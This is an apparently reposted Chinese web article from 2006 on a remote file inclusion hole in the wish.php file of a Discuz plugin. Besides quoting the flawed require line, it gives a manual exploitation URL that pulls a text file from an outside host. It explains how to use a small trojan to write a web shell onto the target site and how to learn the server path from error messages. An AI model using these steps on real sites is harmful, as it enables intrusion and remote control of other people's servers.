欢迎来到福编程网,本站提供各种互联网专业知识!

discuz许愿池插件远程包含漏洞

发布时间:2006-11-06 作者: 来源:转载
许愿池插件的wish.php文件出的问题:require$discuz_root.'./include/discuzcode.func.php';手工利用方法:远程包含漏洞,变量discuz_root过滤不严,利用方法:http://url/wish.php?discuz_root=http://www.neeao.com/xxxx.txt?不一定非要txt后缀,可以改为
许愿池插件的wish.php文件出的问题:
require$discuz_root.'./include/discuzcode.func.php';

手工利用方法:
远程包含漏洞,变量discuz_root过滤不严,利用方法:
http://url/wish.php?discuz_root=http://www.neeao.com/xxxx.txt?
不一定非要txt后缀,可以改为任意后缀,后面一定要记得加问号。
这里xxxx.txt用CN.Tink的那个小马写个shell进去:





网站物理路径可以通过提交http://url/wish.php?discuz_root=http://www.huaidan.org/xxxx.txt,看错误提示信息,然后修改xxxx.txt中的路径即可。guizai.php就是你上传的shell的名字。

相关推荐